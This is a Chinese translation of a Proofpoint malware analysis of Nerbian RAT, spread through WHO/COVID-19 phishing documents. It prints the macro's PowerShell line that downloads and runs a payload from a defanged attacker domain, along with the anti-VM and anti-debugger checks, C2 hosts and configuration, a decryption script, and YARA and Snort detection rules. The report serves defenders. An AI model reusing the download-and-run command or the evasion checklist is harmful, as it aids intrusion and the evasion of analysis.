使用 COVID-19 主题的 Nerbian RAT 具有复杂的规避技术 - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

使用 COVID-19 主题的 Nerbian RAT 具有复杂的规避技术

我们会有自己的猫 新闻 2022-05-23 11:50:00
465642
收藏

导语:新发现的Nerbian RAT利用了分布在多个阶段的多个反分析组件,包括多个开源库。它是用与操作系统(OS)无关的Go编程语言编写的,为64位系统编译,并利用多个加密例程来进一步规避网络分析。

主要发现

· Proofpoint分析了一种新型恶意软件变体,该变体利用了重要的反分析和反逆向功能。

· 该恶意软件以Go编程语言编写,使用多个开源Go库进行恶意活动。

· 该恶意软件名为内尔比亚(Nerbian)远程访问木马(RAT),利用COVID-19和世界卫生组织的主题进行传播。

· Proofpoint研究人员根据恶意软件代码中的命名函数来命名恶意软件。内尔比亚是小说《堂吉诃德》中虚构的一个地方。

概述

新发现的Nerbian RAT利用了分布在多个阶段的多个反分析组件,包括多个开源库。它是用与操作系统(OS)无关的Go编程语言编写的,为64位系统编译,并利用多个加密例程来进一步规避网络分析。Go是威胁行为者使用的一种越来越流行的语言,这可能是因为它的进入门槛较低且易于使用。

活动详情

从2022年4月26日开始,Proofpoint研究人员观察到了少量(少于100条消息)电子邮件正在传播恶意软件,它们被发送到了多个行业。这一威胁对意大利、西班牙和英国的实体造成了不成比例的影响。这些电子邮件声称代表世界卫生组织(WHO),提供有关COVID-19的重要信息。安全研究员pr0xylife在Twitter上也注意到了恶意软件样本。Proofpoint研究人员观察到了以下指标和附件:

发件人:who.inter.svc@gmail[.]com, announce@who-international[.]com

主题:WHO, World Health Organization

附件名称和类型:who_covid19.rar with who_covid19.doc inside, covid19guide.rar with covid19guide.doc inside, covid-19.doc

声称来自世卫组织并包含与COVID-19相关的安全措施的消息包括包含宏的附加Word文档。

1.png

图 1:声称来自 WHO 的示例电子邮件

2.png


图 2:附加的 Word 文档

这些电子邮件包含一个包含宏的Word附件(有时用RAR压缩)。启用宏后,该文档会显示与COVID-19安全相关的信息,特别是有关自我隔离和照顾COVID-19患者的信息。有趣的是,这种手段类似于2020年大流行初期使用的主题,特别是假冒世卫组织来传播有关该病毒的信息。

3.png

图 3:包含 COVID-19 指南的文档诱饵屏幕截图,特别是用户在对恶意文档启用宏时看到的内容

除了伪装成世界卫生组织外,该文件似乎还包含来自爱尔兰卫生服务执行机构(HSE)、爱尔兰政府和爱尔兰全国盲人委员会(NCBI)的标识。

4.png


图 4:带有与政府和非营利实体相关的附加徽标的文件

攻击路径

当用户在此文档上启用宏时,该文档会执行一个嵌入的宏,该宏会删除一个包含以下内容的.bat文件:

powershell  IWR -Uri  hxxps://www[.]fernandestechnical[.]com/pub/media/gitlog  -OutFile C:\Users\[username]\AppData\Roaming\UpdateUAV.exe ;C:\Users\[username]\AppData\Roaming\UpdateUAV.exe

此批处理文件对URL执行PowerShell调用Web请求(IWR):

hxxps://www[.]fernandestechnical[.]com/pub/media/gitlog,

它将下载的文件重命名为UpdateUAV.exe,并将其放入:

C:\Users\[current user]\AppData\Roaming\UpdateUAV.exe.
Dropper: UpdateUAV.exe

UpdateUAV.exe是最初从恶意Word文档下载的有效payload。它是一个64位的可执行文件,用Golang编写,大小为3.5MB(UPX packed)。用Go语言创建的可执行文件往往比大多数其他可执行文件略大。很可能,此恶意软件用UPX打包,以减少正在下载的可执行文件的整体大小。解压后,文件总大小为6.6MB。

5.png


图 5:UpdateUAV.exe 负载与 UPX 压缩在一起,可能是为了减小其大小

Proofpoint分析师在执行期间提取了解密的数据,由此产生的内存揭示了关于样本的其他信息。

功能性

UpdateUAV.exe是Nerbian RAT的dropper。这一结论是通过多次不同的观察得出的,首先是样本中嵌入的字符串:

        K:/W_Work/Golang/src/RAT_Dropper/main_gen.go

根据源路径,这个可执行文件是一个dropper。Proofpoint根据dropper中的一个函数名称将此恶意软件命名为“Nerbian RAT”。具体函数名称为“main_downloadNerbian”,如下图所示。

6.png


图 6:Nerbian RAT 主要功能代码

在一些散布在二进制文件中的Go函数中,还有其他对“Nerbian”的引用。

7.png


图 7:dropper 用于下载并存储在受感染系统上的 RAT 函数

代码重用

大多数软件开发人员,包括恶意软件开发人员,都使用现有的软件包。UpdateUAV可执行文件是Nerbian RAT的释放器,具有大量代码重用功能,其中包含引用各种GitHub项目的字符串:

github.com/go-ole/go-ole – Go bindings for Windows COM (Component Object Model – inter-process communication)
github.com/gonutz/w32/v2 – Go bindings for the Win32 API
github.com/mitchellh/go-ps – Library implements OS-specific APIs to list and manipulate processes
github.com/StackExchange/wmi – Go package for Windows WMI, providing a WQL interface

在所有这些对外部项目的引用中,最有趣的是:

github.com/p3tr0v/chacal/

反调试、反虚拟机、反取证

8.png

图 8:Chacal GitHub 页面

Chacal被描述为“Red Team和渗透测试者的Golang反虚拟机框架”。但是,项目中也涉及了几个函数和引用来使调试和逆向工程更加困难。

如果遇到以下任何一种情况,dropper将停止执行:

· 系统上的硬盘大小小于一定大小。Chacal中定义的默认值为100GB。

· 根据WMI,硬盘的名称包含以下字符串之一:

1."virtual"

2."vbox"

3."vmware"

· 查询的MAC地址返回以下任一OUI值:

00:0c:29, 00:50:56, 08:00:27, 52:54:00, 00:21:F6, 00:14:4F, 00:0F:4B, 00:10:E0, 00:00:7D, 00:21:28, 00:01:5D, 00:21:F6, 00:A0:A4, 00:07:82, 00:03:BA, 08:00:20, 2C:C2:60, 00:10:4F, 00:0F:4B, 00:13:97, 00:20:F2, 00:14:4F

· 在进程列表中遇到以下任何逆向工程/调试程序:

processhacker.exe、procmon.exe、pestudio.exe、procmon64.exe、x32dbg.exe、x64dbg.exe、CFF Explorer.exe、procexp64.exe、procexp.exe、pslist.exe、tcpview.exe、tcpvcon.exe、dbgview .exe、RAMMap.exe、RAMMap64.exe、vmmap.exe、ollydbg.exe、agent.py、autoruns.exe、autorunsc.exe、filemon.exe、regmon.exe、idaq.exe、idaq64.exe、ImmunityDebugger.exe 、Wireshark.exe、dumpcap.exe、HookExplorer.exe、ImportREC.exe、PETools.exe、LordPE.exe、SysInspector.exe、proc_analyzer.exe、sysAnalyzer.exe、sniff_hit.exe、windbg.exe、joeboxcontrol.exe、joeboxserver .exe、joeboxserver.exe、ResourceHacker.exe、Fiddler.exe、httpdebugger.exe

· 进程列表中存在以下任何内存分析/内存篡改程序:

DumpIt.exe、RAMMap.exe、RAMMap64.exe、vmmap.exe

· 时间测量功能检查执行特定功能所用的时间量是否被认为是“过多”。如果达到时间阈值,恶意软件会认为它正在被调试,并将退出。

除了Chacal提供的反逆向检查之外,二进制文件中还存在其他反分析检查,包括:

· 使用IsDebuggerPresent API确定是否正在调试可执行文件

· 查询以下网络接口名称:

1.Intel® PRO/1000 MT Network Connection

2.Loopback Pseudo-Interface 1

3.Software Loopback Interface 1

下载、执行和持久化

在分析样本的情况下,dropper尝试从以下位置下载其有效负载:

hxxps://www[.] fernandestechnical [.]com/pub/media/ssl

并将RAT保存到:

C:\ProgramData\USOShared\MoUsoCore.exe

接下来,dropper将尝试建立一个名为MicrosoftMouseCoreWork的计划任务,从而每小时启动RAT有效负载并建立持久性。

8.8.png

dropper的最终目标是下载名为SSL的可执行文件,将其保存为MoUsoCore.exe,并配置一个计划任务以每小时运行一次作为其主要持久性机制。

有效负载--MoUsoCore.exe

MoUsoCore.exe是dropper二进制文件UpdateUAV.exe尝试下载并为其建立持久性的有效负载的名称。就像dropper本身一样,它是用Go编写的,并且是UPX压缩的。压缩状态下的二进制文件大小为5.6MB,解压状态下为9.2MB。

功能和配置设置

Nerbian RAT似乎支持多种不同的功能,其中大部分由二进制文件本身的加密配置设置决定。Proofpoint确定了此示例使用的各种配置设置:

"185.121.139[.]249"
https://www[.]fernandestechnical[.]com/pub/health_check.php
8ffe450597cbbfa5a703e23a8b6bbdaeda76badf2b035e75de5ffdb3af07270d
"100"
\\\\ProgramData\\\\Microsoft OneDrive\\\\setup
"rev.sav"
 
===Configuration===
default_communication_protocol: %s
default_conn_interval: %d
b_use_alive_signal: %t
start_worktime: %d
end_worktime: %d
alive_interval: %d
b_use_secondary_host: %t
b_use_sleep_filetransfer: %t
time_sleep_filetransfer: %d
retry_count_filetransfer: %d
connection_error_sleep_time: %d
bpreflaged_use_backupserver: %t
flagged_time_backupserver: %s
switch_backupserver_time: %d
primary_host: %s
secondary_host: %s
primary_http_proxyserver: %s
secondary_http_proxyserver: %s
working_directory: %s
b_run_cmd_result_outfile: %t
idle_state_limit_time: %d
st:%d
nt: %d

其中许多字符串都与设置恶意软件的操作参数有关,例如它与哪些主机通信、它使用keep-alive消息检查C2域和IP地址的频率、恶意软件的首选工作目录以及它的运行时间等等。

185[.]121[.]139[.]249和hxxps://www[.]fernandestechnical[.]com/pub/health_check.php很可能是用于keep-alives和check-ins的指定的C2备份域和URI。

键盘记录

RAT似乎有记录击键的功能,并似乎能够将它们加密写入上述配置设置中提到的rev.sav文件。

屏幕截图

与dropper不同的是,RAT利用大量预先存在的Go代码来执行其许多功能:

github.com/lxn/win
github.com/go-ole/go-ole
github.com/StackExchange/wmi
github.com/digitalocean/go-smbios/smbios
github.com/AllenDang/w32.init

同样,在所有这些中,一个更有趣的外部引用是以下GitHub存储库:

           github.com/kbinani/screenshot/

这个repo是一个Go库,用于在各种不同的操作系统上执行屏幕截图。

C2通信

与大多数现代恶意软件系列一样,此RAT更喜欢通过SSL处理其通信。Proofpoint观察到两种类型的网络流量,第一种是对C2域/IP地址的keepalive或者heartbeat。

9.png

图 9:到 C2 域/IP 地址的 Heartbeat/Keep-alive 流量。请忽略 /pub/health_check.php 末尾的额外“p”

观察到的其他通信是对配置的C2域和IP地址的POST请求,请求中上传了大量HTTP表单数据:

10.png


图 10:请注意此 POST 请求中每个表单的 Content-Disposition 字段中的不同名称。所有这些数据都经过 base64 编码和加密,无论 C2 通信是通过 HTTP 还是 HTTPS 进行的

发布到C2服务器的表单数据名称包括:

addr_post – IP 地址发布到

port_post – 网络端口发布到

auth_post – 可能是初始化C2通信后使用的per-session加密密钥或密码

session_key – 唯一未加密的字段。这是一个字符串的组合,该字符串作为一种活动标识符,通过SMBIOS Golang模块检索到的值的散列,以及与C2服务器(在本例中为“windows”)通信的系统的操作系统名称。

data_post – 从受害者主机中泄露的数据

上面的所有字段,除了session_key表单数据字段,都使用了唯一的加密方案。POST的前70个字节是“garbage”,而接下来的24个字节包含可用于解密剩余数据的AES密钥。Proofpoint研究人员开发了一个Python脚本,可以解密这些发布的数据:

import malduck
import binascii
data = "BgxxweBaPoZVPcfLoQFSHMfqqeitJaZjoSKOBrhsCxtDMYGxPUHsKYcXetaTSJaSULtqZQAwoDiTrCtDpVKvaLxjZPSLcLBvlyREEguzuO0Z8119x2/7cc2XoU2w=="
 
 
def decrypt_post_param(base64_encoded_content):
    junk = base64_encoded_content[:70]
    key = base64_encoded_content[70:70+32]
    print("[+] key: %s" % key)
    crypted_data = base64_encoded_content[70+32:].encode("utf-8")
    base64_decoded = malduck.base64.decode(crypted_data)
    iv = key[:16].encode("utf-8")
    full_data = base64_decoded
    print("[+] crypted data [%d]: %s" % (len(full_data), binascii.hexlify(full_data)))
    return malduck.aes.cbc.decrypt(key.encode("utf-8"), iv, full_data)
 
 
print(decrypt_post_param(data))

12.png

图 11:用于解密发布数据的 Python 脚本

使用上面的代码,用户可以解密发布的数据。在这种情况下,Proofpoint选择从内部沙盒运行的addr_post字段解密base64编码的数据。用户需要将数据变量替换为他们希望解密的base64编码块,或者修改脚本以接受输入。

然而,如上所述,session_key字段没有加密,它是base64编码的。这个字段包含什么?

12.png

图 12:session_key 字段的值只是一个连接字符串,包含三个经过 base64 编码的值

当使用From Base64的recipe提交给Cyberchef时,base64编码的字符串:

OGZmZTQ1MDU5N2NiYmZhNWE3MDNlMjNhOGI2YmJkYWVkYTc2YmFkZjJiMDM1ZTc1ZGU1ZmZkYjNhZjA3MjcwZDoyNWI0ZWJjYTRiYmM4MmFiNWFlMmU1MTdjMjlkMzNlNzp3aW5kb3dz

解码为:

8ffe450597cbbfa5a703e23a8b6bbdaeda76badf2b035e75de5ffdb3af07270d:25b4ebca4bbc82ab5ae2e517c29d33e7:windows

该字符串包含三个值,用“:”字符连接和分隔。Proofpoint评估第一个值,8ffe450597cbbfa5a703e23a8b6bbdaeda76badf2b035e75de5ffdb3af07270d是某种植入物或活动标识符,而25b4ebca4bbc82ab5ae2e517c29d33e7是从使用上述go-smbios库收集的主机标识符数据得出的值,而最终值是受损主机(windows)的操作系统。

13.png

图 13:Nerbian RAT 流程

评估

这是一个复杂的恶意软件,包括三个阶段:

· Maldoc网络钓鱼诱饵

· 执行各种环境检查的Dropper - 反逆向和反虚拟机检查

· Nerbian RAT – 加密配置文件,确保数据加密到C2

尽管采取了所有这些复杂和谨慎得到措施来保护传输中的数据并“审查”受感染的主机,但dropper和RAT本身并没有在使用UPX压缩的样本之外使用严重的混淆,可以说这不一定是为了混淆,只是为了减小可执行文件的大小。

此外,由于引用GitHub存储库的字符串,很容易推断RAT和dropper的大部分功能 - 特别是Chacal和屏幕截图存储库公开了dropper和RAT的部分功能。

为什么是Nerbian RAT?

起初,在互联网上很难找到任何提及“Nerbian”的内容,直到Proofpoint分析师在《堂吉诃德》中发现了这段话:

你再掉过头来向这边看,你会看到统率这支军队的是常胜将军蒂莫内尔·德卡卡霍纳,新比斯开的王子。他的甲胄上蓝、绿、白、黄四色相间,棕黄色的盾牌上有只金猫,还写着一个‘缪’字,据说是他美丽绝伦的情人、阿尔加维的公爵阿尔费尼肯的女儿缪利纳名字的第一个字。另外一位骑着膘马,甲胄雪白,持没有任何标记的白盾的人是位骑士新秀,法国人,名叫皮尔·帕潘,是乌特里克的男爵。还有一位正用他的包铁脚后跟踢那匹斑色快马的肚子,他的甲胄上是对置的蓝银钟图案,那就是内尔比亚强悍的公爵、博斯克的埃斯帕塔菲拉尔多。他的盾牌上的图案是石刁柏,上面用卡斯蒂利亚语写着:‘为我天行道’。

内尔比亚是伟大小说《堂吉诃德》中的一个虚构地方。来自内尔比亚的骑士有一个盾牌,上面有芦笋的纹章和写着“Try your luck”的横幅。

14.png


图 14:Nerbia 是小说《堂吉诃德》中虚构的地方。内尔比亚骑士戴着一个带有芦笋纹章的盾牌,上面有一句卡斯蒂利亚语的西班牙格言,上面写着“Rastrea Mi Suerte”。大致翻译为“试试你的运气”。请注意,这个徽章与小说无关,这是 Proofpoint 的 研究人员随意创建的

许多引用Nerbia的字符串都位于配套的dropper(UpdateUAV.exe)中。RAT有效负载本身(MoUsoCore.exe)中没有对Nerbia的引用。Proofpoint认为dropper和RAT都是由同一实体创建的,虽然dropper将来可能会被修改以提供不同的有效负载,但此时dropper是静态配置的,以便在分析时下载并为这个特定的有效载荷建立持久性。。

IOC指标

image.png

检测

网络

Snort和Suricata规则在ETOPEN规则集中的SID下可用:
2036426 - ET MALWARE Nerbian RAT CnC Checkin
2036427 - ET MALWARE Nerbian RAT Data Exfiltration

静态

rule Nerbian_RAT
 
{
 
    meta:
 
        author = "ptrouerbach"
 
        reference = "5e6c5a9fda2d20125f6f24e37e8a217a39ff0a5cfddc07ddfdb18049d9ea4597"
 
        malfamily = "NerbianRAT"
 
 
 
    strings:
 
        $args_p = "p-" ascii
 
        $args_s = "s-" ascii
 
        $args_h = "h-" ascii
 
        $args_P = "P-" ascii
 
 
 
        $hardcoded_aes_key = { 17E87F581F1DF8D6129D65FD50CEB3DD6C4E1C223077CD7D4C595DA6C3DF92B2 }
 
       
 
 $param_auth = "auth_post" ascii
 
        $param_session = "session_key" ascii
 
        $param_data = "data_post" ascii
 
        $param_addr = "addr_post" ascii
 
        $param_port = "port_post" ascii
 
 
 
    condition:
        uint16be(0) == 0x4D5A
        and ($hardcoded_aes_key or (all of ($param*) and all of ($args*)))
        and filesize < 10MB
}

致谢

Proofpoint安全研究人员要感谢安全研究人员pr0xylife在社交媒体上分享的他对这种威胁的观察。

本文翻译自:https://www.proofpoint.com/us/blog/threat-insight/nerbian-rat-using-covid-19-themes-features-sophisticated-evasion-techniques如若转载,请注明原文地址
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

 
本站4hou.com,所使用的字体和图片文字等素材部分来源于原作者或互联网共享平台。如使用任何字体和图片文字有侵犯其版权所有方的,嘶吼将配合联系原作者核实,并做出删除处理。
©2022 北京嘶吼文化传媒有限公司 京ICP备16063439号-1 本站由 提供云计算服务